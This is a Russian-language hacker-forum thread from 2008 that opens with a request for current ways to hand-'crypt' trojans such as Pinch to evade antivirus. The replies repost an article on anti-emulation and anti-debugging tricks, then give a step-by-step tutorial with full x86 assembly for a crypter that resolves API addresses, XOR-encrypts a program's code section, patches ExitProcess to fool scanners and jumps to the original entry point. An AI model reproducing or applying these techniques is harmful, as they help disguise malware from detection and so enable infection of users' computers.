Актуальный способ ручного крипта.
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Актуальный способ ручного крипта. - 2008-06-03 00:33:24.506666
|
|
|
Chrek625
Сообщений: 188
Оценки: 0
Присоединился: 2008-01-09 23:49:05.073333
|
Люди кто знает какой на сегодняшний момент актуальный способ ручного крипта троянов тогоже пинча? Поделитесь знаниями.
|
|
|
RE: Актуальный способ ручного крипта. - 2008-06-03 00:53:24.856666
|
|
|
Flint_ta
Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
|
Как обмануть антивирус или антиотладка II Эх, все труднее и труднее становится жить, ведь серьезно, как не грустно это признавать, а ведь реально за 2007 год защитные системы скакнули очень даже хорошо вверх, наверное виста так повлияла, мобилизировала всех так сказать :) Сравнение Outpost 4 с Outpost 2008 только чего стоит, но это еще что, но новый уровень перешли антивирусы со своими эмуляторами и эвристиками, средства анализа очень прибавили, чего только одна IDA 5.2 стоит. Но не все так страшно, как кажется на первй взгляд, ведь по любому главное - эт правильный подход всегда, как посмотреть внимательнее, так нубов число уменьшилось, веселее жить стало, ну ведь совершенно точно, что у нас с тобой подход правельный, раз читаешь эту статью? Да одна фигня эта защита, еще не скоро она станет такой, чтобы обламывать наши планы, ведь по любому приятно, когда софт работает отлично, стабильно обламывая даже не столько антивирус, а антивирусных аналитиков, которые будут по любому покушаться на наш софт. Тоже недавно решил выйди на сцену так сказать, наклацкал себе кое какой софт, и на тебе, как начал палиться, пришлось хорошенько покопаться в коде, чтобы все было гуд, вот и думаю, что, совершенно точно эта информация пригодится любому человеку в теме, да честно говоря даже просто тому, кто хочет защитить свой код от анализа. Итак, начинаем наш новогодний обзор! :) =1 Назад в прошлое Есть в Windows один очень занимательный механизм под названием TLS, что в расшифровке и переводе на русский означает "локальная память потока", создана сия поделка как довес очень удобной библиотечной технологии, которая была принята начиная для 32 разрядников, создатели механизма планировали связывать с его помощью определенные данные с определенным потоком исполнения, что это дает? Это дает возможность создать в итоге почти не ограниченное число потоков исполнения еще до выхода на реальную точку входа! То есть еще до начала исполнения нашего проекта одна, две, три ветки программы могут уже быть исполнены, потрясающее зрелище, когда запускаешь отладчик, а еще до запуска запускается антиотладочная ветка определяющая, что используется отладчик во всеми последствиями :) Что это нам дает? Это дает отличный способ запутать антивирус и внести в свой проект отличное средство антиотладки, которое легко сбережет нас от начинающего аналитика, заставив его долго думать, в чем же тут дело. С технической части все просто элементарно и умещается в буквально несколько строк, TLS на самом деле просто небольшая структура, которая будет у нас заполнена нулями и одним калбэком, там просто заполняем структуру TLS_DIRECTORY STRUCT lpTlsDataStart dd ? ;copy block starting here lpTlsDataEnd dd ? ;and ending here + block (size=ZeroFillSize) filled with 0 to lpTlsIndex dd ? ;DS:[FS:[2CH]]+TlsIndex*4 lpTlsCallbacks dd ? ;pointer to 0 terminated array of pointers to callbacks ZeroFillSize dd ? ;overall size=lpTlsDataEnd-lpTlsDataStart+ZeroFillSize TLS_DIRECTORY ENDS Примерно такого вида public _tls_used _tls_used TLS_DIRECTORY <nullPr, nullPr, nullPr, callBack, 0> Где callBack будет указателем на наши калбэки, например callBack dd TlsProc ; запускаем первую ветку или callBack dd TlsProc ; запускаем первую ветку dd TlsProc ; вторую, эту можно вобще убрать, она совершенно не обязательна И уже можно отлично работать, все будет просто потрясающе смотреться :) =2 ЁП :) Второй способ более экстравагантный я бы сказал, там смысл у нас будет заключаться в том, что когда файл мапится в оперативную память, мапится он с адреса базы(ImageBase), который обычно равен 00400000, дальше EIP переходит на точку входа, которая в памяти у нас будет равна ImageBase + EntryPoint в PE заголовке, то есть если EntryPoint у нас равен 00001000, EIP будет на адресе 00401000, то есть это точка входа в программу у нас такая. А что же будет если взять Lord Pe и быстренько поставить EntryPoint например в 0? наша точка входа будет в 00400000, а ждут нас там опкоды 4D5Ah (те самые MZ), которые в переводе на асм будут выглядеть как 00400000 4D DEC EBP 00400001 5A POP EDX Что вполне нормально, в чем мы можем легко совершенно убедиться набрав в OllyDbg Ctrl + G и введем 00400000. Ну как? Есть мысли что делаем дальше? Конечно же мы ставим jmp на 00401000 (в реальную точку входа) по адресу 00400002, просто щелкаем на пробел и вводим jmp 00401000 и нажимаем Assemble, Cencel и получаем отличную картину 00400000 4D DEC EBP 00400001 5A POP EDX 00400002 - E9 F90F0000 JMP 00401000 Чего мы и собирались собтно сделать, мы просто прыгаем на реальную точку входа при этом обламывая все эмуляторы и отладчики(да, OllyDbg в том числе), которые полагают, что точка входа EntryPoint не может быть 0(можно кстати даже не 0 поставить, а скажем 00000002). Наша фитча готова и теперь смело щелкаем правой кнопкой по окну с кодом "Copy to executable -> All Modifications -> Copy All " в появившемся окне не раздумывая, клацаем правой кнопкой на "Seve file" и благополучно сохраняем наш измененный проект, ну а дальше как по маслу все, элементарно открываем сохраненный .exe в Lord Pe и моментально ставим EntryPoint 0 и при попытке открытия нашего проекта в Olly удивленно смотрим, файл не отлаживается! А как антивирусные анализаторы то рады, все молчат, все гуд грят, но злобный антивирус маккафи сразу подумал, что мы злобные хакиры пишет "New", типа маст хэв :) Все просто, ну а вы думали? ;) =3 Легко и просто Хоть и вышли на новый уровень антивирусные анализаторы, а все равно они еще очень глупые, чем мы цинично воспользуемся :) Все легко как 2 байта, просто пишем исполнение основного кода, рабочей нагрузки в новой ветке программы, которую элементарно создаем примерно так mov eax, offset PayLoad invoke CreateThread, NULL, NULL, eax, NULL, NULL, addr ThreadID Антивирус просто не сможет проанализировать созданную ветку и легко одобрит наш отличный проект, а так и правильно совершенно ;) Даже вот для наглядности пример приведу, антивирус Avira встречая функции на подобие WinExec и UrlDownloadToFile начинает ругаться, ну а если поставить то же самое, но уже с CreateThread, то все будет по высшему гуд ;) =4 Обработчик исключений на страже порядка Я плакаю, когда вижу, как антивирусы(или аналитики) не могут понять куда делся EIP, после самого заезженного и элементарного антиотладочного приема с подменой обработчика исключений, ну че тут поделаешь, не доросли пока, чем мы коварно воспользуемся :) Код будет просто элементарный push offset Payload ; продолжение нашего кода assume fs: nothing push fs:[0] mov fs:[0],esp xor ebx, ebx mov dword ptr[ebx], 123 ; допускаем ошибку В итоге мы в отладчике попадаем глубоко в кору, а проект между тем продолжает отлично выполняться как ни в чем не бывало :) Есть правда менее заезженный способ, но WinApi там, как-то не красиво получается invoke RtlAddVectoredExceptionHandler, 1, addr PayLoad В итоге у нас отличная антиотладка и защита от некоторых эмуляторов, что несомненно есть гуд :) Правда некоторые будучи не в состоянии чета сделать с ситуацией просто тупо называют нас всякими суспекусами, мол куда улетел код-то? :) =5 Трэш - эт по нашему :) Как и совершенно не странно механизмы дизассемблеров не идеальны и их часто можно элементарно запутать, да и вследствие того, кто работает за этим отладчиком, что думаете мы увидим в отладчике или дизасемблере, скомпилировав код ;тут нормальный код jmp offset start + 67137 mov eax, 123 add ebx, 888 Codes: ; полезный код xor ebx, ebx DB 0EAh Правильно! Мы увидим мясо :) А в чем же фишка спросите вы? А в том, что очень многие дизассемблеры( эмуляторы тоже их содержат) имеют один общий глюк, можно сбить дизассемблер с толку, если выставить переход jmp, после него вполне работающий код, а после него опкод джампа, в нашем случае DB 0EAh, в итоге просто он выстроит не правельную последовательность команд и усе, будет реальное мясо! :) =6 Нулл дэй Вот мы и добрались до небольшого продолжения 5го пункта, и по совместительству свеженького средства антиотладки, на самом деле частицы этой технологии известны еще со времен ДОС, но были благополучно забыты(спасибо Крису большое за то, что напомнил), суть идеи в том, что в одну большую, пятибайтовую команду, например mov eax, 0DDAADDAAh можно впихнуть еще парочку команд и запутать тем самым отладчик, который выполнит mov eax, 0DDAADDAAh, вместо того, что там у нас спрятано, а вдруг там спрятаны пара бат защитного механизма, по которым можно определить трэйсят нас или нет? так конечно! Есть у нас скажем 00401001 BA 69668ED1 MOV EDX,D18E6669 Ну нормальная команда, как полагается все, а что будет если посмотреть эту команду с другого угла так сказать :) Например зайти на середину команды по адресу 00401004, мы увидем уже другую совсем картину ;) 00401004 8ED1 MOV SS,CX И вот так спрятав части команд в таких же командах более длинных командах, можем легко наклацать отличный антитрэйсинг, ой, я разве сказал, можем… Так мы уже все сделали, все сорцы можешь найти в архиве к статье, ну и конечно же тестовый .exe, попробуй-ка потрейсить сайсом или оллей, везде буит работать просто отлично ;) Все таки не все так плохо, как может показаться, а вполне даже хорошо, главное подход правильный, ведь на самом деле решение всех проблем часто элементарное и находится прямо перед глазами :) А в новом году пожелаю только огромных творческих успехов, и чтобы взгляд был всегда шире, чем могут увидеть другие, с новым годом! Автор: Dr.Cert Материалы к статье: indetails.info/index.php?module=files&id=612 Источник: Indetails.Info
|
|
|
RE: Актуальный способ ручного крипта. - 2008-06-03 09:09:39.400000
|
|
|
Xakеp
Сообщений: 22
Оценки: 0
Присоединился: 2008-06-03 08:37:29.636666
|
Береш любой пакер/криптар/etc. и ручками ево крептуешь!
|
|
|
RE: Актуальный способ ручного крипта. - 2008-06-03 15:14:21.316666
|
|
|
Chrek625
Сообщений: 188
Оценки: 0
Присоединился: 2008-01-09 23:49:05.073333
|
quote:
ORIGINAL: Xakеp Береш любой пакер/криптар/etc. и ручками ево крептуешь! Да нуууу…. А я то думалл… Вообще если бы я это умел или хотябы имел понятие как это делать то я бы не спрашивал…
|
|
|
RE: Актуальный способ ручного крипта. - 2008-06-03 15:23:08.973333
|
|
|
Xakеp
Сообщений: 22
Оценки: 0
Присоединился: 2008-06-03 08:37:29.636666
|
Отстань от меня!!!!! Хватит!
|
|
|
RE: Актуальный способ ручного крипта. - 2008-06-03 16:46:20.463333
|
|
|
Chrek625
Сообщений: 188
Оценки: 0
Присоединился: 2008-01-09 23:49:05.073333
|
quote:
ORIGINAL: Xakеp Отстань от меня!!!!! Хватит! Кому ты нафиг нужин Не можешь сказать ничего по теме то не флуди…
|
|
|
RE: Актуальный способ ручного крипта. - 2008-06-03 20:29:39.080000
|
|
|
$taLker
Сообщений: 49
Оценки: 0
Присоединился: 2008-02-07 17:30:13.003333
|
УХАХА… к тебе тут кто-то пристает? :D
|
|
|
RE: Актуальный способ ручного крипта. - 2008-06-03 22:13:29.996666
|
|
|
Flint_ta
Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
|
Вот решил накидать минитутор некоторые файлы к статье тут http://dump.ru/file_catalog/396099.aspx , остальное на просторах инета _____________________________________
Небольшой тутор по ручному крипту исключительно для начинающих.
Что нам понадобится:
1. OllyDBG
2. ToPo v1.2 by MrCrimson[WkT!2000]
3. PEID
4. PeTools
Target: для примера возьмем старенький и безобидный нюкер Nukeit!, который палится практически всеми аверами.
Постараюсь как можно короче и доступнее объяснить. Для того чтобы приступить нужно убедиться что наш файл ничем не упакован, для этого загружаем его a PEID и видим что файл написан на MASM32 / TASM32, если упакован то тут немного посложнее. Далее запустим PEEditor из пакета PETools, и откроем наш файл. Перейдем к опциональному заголовку, жмем Optional Header. Смотрим и запоминаем Image Base = 00400000, а также Entry Point = 00001000. Тут все, файл закрываем.
Далее для нашего криптора нужно выделить место в файле. Для этого запускаем ToPo и скармливаем ему наш файл, выделяем Create a new section (file size increased), значит в целевом файле будет добавлена новая секция, в которую мы будем писать код криптора. В поле Bytes to be added: указываем каким размером будет наша секция, я указал 1000, также поставим в поле Redirect Entrypoint галку, для того чтобы изменить точку входа в программу, жмем Do it. Готово, теперь у нас есть секция.
Далее загружеам наш файл в Olly. По умолчанию Olly останавливается на точке входа в программу, которая сейчас в нашей секции. Видим цепочку nop команд. Тут каждый решает сам, какой код он будет писать, в нашем коде ограничимся только криптованием секции кода, данные и импорт оставим в покое, хотя по хорошему их тож нужно закриптовать, особенно данные в качестве примера будет использован банальный xor. Переходим к более сложной части :)
Для начала я решил найти в памяти процесса адрес загрузки kernell32.dll, это может сделать такой код:
00408000 PUSHAD
00408001 XOR EAX,EAX
00408003 XOR EDX,EDX
00408005 MOV DL,30
00408007 MOV EAX,DWORD PTR FS:[EDX]
0040800A MOV EAX,DWORD PTR DS:[EAX+C]
0040800D MOV ESI,DWORD PTR DS:[EAX+1C]
00408010 LODS DWORD PTR DS:[ESI]
00408011 MOV EAX,DWORD PTR DS:[EAX+8]
00408014 PUSH EAX
00408015 CMP WORD PTR DS:[EAX],5A4D
0040801A JNZ SHORT 00408001
далее решил найти адреса некотрых api функций:
1) LoadLibraryA
0040801C MOV EBX,EAX
0040801E ADD EBX,DWORD PTR DS:[EAX+3C]
00408021 ADD EBX,78
00408024 MOV EBX,DWORD PTR DS:[EBX]
00408026 ADD EBX,EAX
00408028 MOV EDX,DWORD PTR DS:[EBX+20]
0040802B ADD EDX,EAX
0040802D PUSH EBX
0040802E XOR EBX,EBX
00408030 PUSH 0
00408032 PUSH 41797261
00408037 PUSH 7262694C
0040803C PUSH 64616F4C
00408041 PUSH 0
00408043 ADD ESP,4
00408046 MOV ESI,ESP
00408048 MOV ECX,0C
0040804D PUSH ESI
0040804E PUSH ECX
0040804F MOV EDI,DWORD PTR DS:[EDX]
00408051 ADD EDI,EAX
00408053 REPE CMPS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
00408055 JE SHORT 0040805F
00408057 POP ECX
00408058 POP ESI
00408059 ADD EDX,4
0040805C INC EBX
0040805D JMP SHORT 0040804D
0040805F SUB EDI,0C
00408062 POP ECX
00408063 POP ECX
00408064 POP ECX
00408065 POP ECX
00408066 POP ECX
00408067 POP ECX
00408068 POP ECX
00408069 SHL EBX,1
0040806B MOV EDX,DWORD PTR DS:[ECX+24]
0040806E ADD EDX,EAX
00408070 ADD EDX,EBX
00408072 MOV EDX,DWORD PTR DS:[EDX]
00408074 AND EDX,0FFFF
0040807A MOV EBX,DWORD PTR DS:[ECX+1C]
0040807D ADD EBX,EAX
0040807F SHL EDX,2
00408082 ADD EBX,EDX
00408084 MOV EDX,DWORD PTR DS:[EBX]
00408086 ADD EDX,EAX
Сохраняем ее в стеке
00408088 PUSH EDX
2) GetProcAddress
00408089 XOR EAX,EAX
0040808B XOR EDX,EDX
0040808D MOV DL,30
0040808F MOV EAX,DWORD PTR FS:[EDX]
00408092 MOV EAX,DWORD PTR DS:[EAX+C]
00408095 MOV ESI,DWORD PTR DS:[EAX+1C]
00408098 LODS DWORD PTR DS:[ESI]
00408099 MOV EAX,DWORD PTR DS:[EAX+8]
0040809C PUSH EAX
0040809D CMP WORD PTR DS:[EAX],5A4D
004080A2 JNZ SHORT 00408089
004080A4 MOV EBX,EAX
004080A6 ADD EBX,DWORD PTR DS:[EAX+3C]
004080A9 ADD EBX,78
004080AC MOV EBX,DWORD PTR DS:[EBX]
004080AE ADD EBX,EAX
004080B0 MOV EDX,DWORD PTR DS:[EBX+20]
004080B3 ADD EDX,EAX
004080B5 PUSH EBX
004080B6 XOR EBX,EBX
004080B8 PUSH 0
004080BA PUSH 7373
004080BF PUSH 65726464
004080C4 PUSH 41636F72
004080C9 PUSH 50746547
004080CE PUSH 0
004080D0 ADD ESP,4
004080D3 MOV ESI,ESP
004080D5 MOV ECX,0E
004080DA PUSH ESI
004080DB PUSH ECX
004080DC MOV EDI,DWORD PTR DS:[EDX]
004080DE ADD EDI,EAX
004080E0 REPE CMPS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
004080E2 JE SHORT 004080EC
004080E4 POP ECX
004080E5 POP ESI
004080E6 ADD EDX,4
004080E9 INC EBX
004080EA JMP SHORT 004080DA
004080EC SUB EDI,0C
004080EF POP ECX
004080F0 POP ECX
004080F1 POP ECX
004080F2 POP ECX
004080F3 POP ECX
004080F4 POP ECX
004080F5 POP ECX
004080F6 POP ECX
004080F7 SHL EBX,1
004080F9 MOV EDX,DWORD PTR DS:[ECX+24]
004080FC ADD EDX,EAX
004080FE ADD EDX,EBX
00408100 MOV EDX,DWORD PTR DS:[EDX]
00408102 AND EDX,0FFFF
00408108 MOV EBX,DWORD PTR DS:[ECX+1C]
0040810B ADD EBX,EAX
0040810D SHL EDX,2
00408110 ADD EBX,EDX
00408112 MOV EDX,DWORD PTR DS:[EBX]
00408114 ADD EDX,EAX
Сохраняем ее в стеке
00408116 PUSH EDX
Теперь я решил для своих пременных выделить немного памяти, для этого можно воспользоваться api функцией GlobalAlloc, но для начала нужно получить ее адресс, тут я решил использовать полученную ваше функцию GetProcAddress
00408117 POP EDI
00408118 PUSH 0
0040811A PUSH 636F6C
0040811F PUSH 6C416C61
00408124 PUSH 626F6C47
00408129 PUSH 0
0040812B ADD ESP,4
0040812E PUSH ESP
0040812F PUSH EAX
00408130 CALL EDX
Далее выделяем память
00408132 POP ECX
00408133 POP ECX
00408134 POP ECX
00408135 POP ECX
00408136 PUSH EAX
00408137 PUSH 200
0040813C PUSH 0
0040813E CALL EAX
После этого у нас в регистре EAX адрес выделенной памяти, там сейчас могут быть какие угодно данные, поэтому неплохо бы ее очистить
00408140 XOR ESI,ESI
00408142 MOV BYTE PTR DS:[ESI+EAX],0
00408146 INC ESI
00408147 CMP ESI,200
0040814D JNZ SHORT 004080DF
Теперь сохраним туда, найденные ранее адреса загрузки kernell32.dll и api функций
0040814F MOV ESI,EAX
00408151 MOV ECX,DWORD PTR DS:[ESP+C]
00408156 MOV DWORD PTR DS:[EAX],ECX
00408158 MOV ECX,DWORD PTR DS:[ESP+8]
0040815D MOV DWORD PTR DS:[EAX+4],ECX
00408160 MOV DWORD PTR DS:[EAX+8],EDI
00408163 MOV ECX,DWORD PTR DS:[ESP]
00408167 MOV DWORD PTR DS:[EAX+C],ECX
Дальше я решил узнать по какому адресу находится ImageBase нашей программы, тут пригодится функция GetModuleHandleA, получим сначала ее адрес
0040816A POP EAX
0040816B PUSH 0
0040816D PUSH 41656C64
00408172 PUSH 6E614865
00408177 PUSH 6C75646F
0040817C PUSH 4D746547
00408181 PUSH 0
00408183 ADD ESP,4
00408186 PUSH ESP
00408187 PUSH DWORD PTR DS:[ESI]
00408189 CALL DWORD PTR DS:[ESI+8]
И сохраним его
0040818C ADD ESP,14
0040818F MOV DWORD PTR DS:[ESI+10],EAX
Теперь получаем ImageBase и сохраняем его
00408192 PUSH 0
00408194 CALL EAX
00408196 MOV DWORD PTR DS:[ESI+14],EAX
Теперь чтобы было возможным писать в секцию кода нужно разрешиить права на запись, для этого нам нужна функция VirtualProtect, получим и сохраним ее адрес
00408199 PUSH 0
0040819B PUSH 7463
004081A0 PUSH 65746F72
004081A5 PUSH 506C6175
004081AA PUSH 74726956
004081AF PUSH 0
004081B1 ADD ESP,4
004081B4 PUSH ESP
004081B5 PUSH DWORD PTR DS:[ESI]
004081B7 CALL DWORD PTR DS:[ESI+8]
004081BA MOV DWORD PTR DS:[ESI+18],EAX
Теперь нужно получить SizeOfImage, который мы получим прямо из PE заголовка
004081BD ADD ESP,14
004081C0 MOV EAX,DWORD PTR DS:[ESI+14]
004081C3 ADD EAX,3C
004081C6 MOV EAX,DWORD PTR DS:[EAX]
004081C8 ADD EAX,DWORD PTR DS:[ESI+14]
004081CB MOV EAX,DWORD PTR DS:[EAX+50]
Далее разрешаем права на запись
004081CE PUSH ESI
004081CF ADD DWORD PTR DS:[ESP],20
004081D4 PUSH 4
004081D6 PUSH EAX
004081D7 PUSH DWORD PTR DS:[ESI+14]
004081DA CALL DWORD PTR DS:[ESI+18]
Теперь все готово собственно к xor'у
Теперь нам необходимо выяснить адрес и размер секции кода. Можно сделать это прямо в Olly, но мы сделаем в PEeditore
открываем наш файл в PEeditore, жамкаем на кнопку Sections, видим перед собой все секции файла, запоминаем у первой секции
Virtual Offset = 1000 и Virtaul Size = 247C. Закрываем. Теперь выясняем по какому адресу находится код в памяти, ImageBase был равен 00400000 + Virtual Offset = 1000, получаем 00401000 - начало секции кода.
Примечание: Лучше было бы это узнать эти адреса написав небольшой код, это позволило бы быть всему нашему коду базовонезависимым.
Ксорим код
004081DD MOV EDX,401000
004081E2 MOV ECX,247C
004081E7 MOV AL,BYTE PTR DS:[ECX+EDX]
004081EA XOR AL,66
004081EC MOV BYTE PTR DS:[ECX+EDX],AL
004081EF LOOPD SHORT 004081E7
Далее сохраним все изменения, выделяем весь код который написали, жмем правой кнопкой Copy to Executable > Selection, далее опять правой кнопкой, Save File и сохраняем под другим именем, например 2.exe
Теперь в Olly открываем 2.exe, спускаемся до того места где остановились в прошлый раз
004081F1
Ставим бряк (жмем F2), в левом нижнем углу видим окно памяти, жмем там Ctrl + G и вводим адрес начала секции кода = 00401000, нажимаем F9, запускаем программу на выполение видим что все поксорилось и программа остановилась на нашем бряке. Теперь в окне данных (левое нижнее) выделяем весь поксоренный код, жмем правой кнопкой Copy to Executable > Selection, далее опять правой кнопкой, Save File и сохраняем под другим именем, например 3.exe
Теперь в Olly открываем 3.exe, спускаемся до того места где остановились в прошлый раз
004081F1
Допишем небольшой антиаверский код, многие на нем обламываются
Получим адрес функции ExitProcess
004081F1 MOV DWORD PTR DS:[ESI+30],73736563
004081F8 MOV DWORD PTR DS:[ESI+2C],6F725074
004081FF MOV DWORD PTR DS:[ESI+28],69784500
00408206 POP EBP
00408207 PUSH EDI
00408208 MOV EDX,ESI
0040820A ADD EDX,29
0040820D PUSH EDX
0040820E PUSH EBP
0040820F CALL DWORD PTR DS:[ESI+8]
сохраним его
00408212 MOV DWORD PTR DS:[ESI+40],EAX
Разрешим запись в память kernel32.dll
00408215 MOV EDX,ESI
00408217 ADD EDX,35
0040821A PUSH EDX
0040821B PUSH 4
0040821D PUSH 20
0040821F PUSH EAX
00408220 CALL DWORD PTR DS:[ESI+18]
Запишем в функцию ExitProcess изменения, теперь при ее вызове управление сразу передается назад
00408223 MOV EAX,DWORD PTR DS:[ESI+40]
00408226 MOV BYTE PTR DS:[EAX],0C3
и тут же вызовем
00408229 CALL EAX
вернем в первоначальный вид
0040822B MOV BYTE PTR DS:[EAX],8B
Пора закруглятся, восстановим стэк
0040822E POPAD
0040822F POP EDX
00408230 POP EDI
00408231 POP EAX
и передадим управление на оригинальную точку входа (OEP), вспоминаем, в самом начале запоминали Image Base = 00400000 + Entry Point = 00001000 == 00401000
00408232 MOV EAX,401000
00408237 JMP EAX
Сохраним все изменения, выделяем весь код который написали, жмем правой кнопкой Copy to Executable > Selection, далее опять правой кнопкой, Save File и сохраняем под другим именем, например готовый.exe
Все.
P.S.
Данная статья только для ознакомительных целей и не претендует на истину в последней инстанции.
Данный код очень далек от иделала (писалось на коленке, так что сильно не пинать), каждый может доделать по своему вкусу: оптимизировать, закриптовать все секции, по нескольку раз закриптовать, прикрутить антиотладку, антидамп другие антиаверские трюки и пр. штуки.
___________________________
03.08.2008
Flint
|
|
|
|
|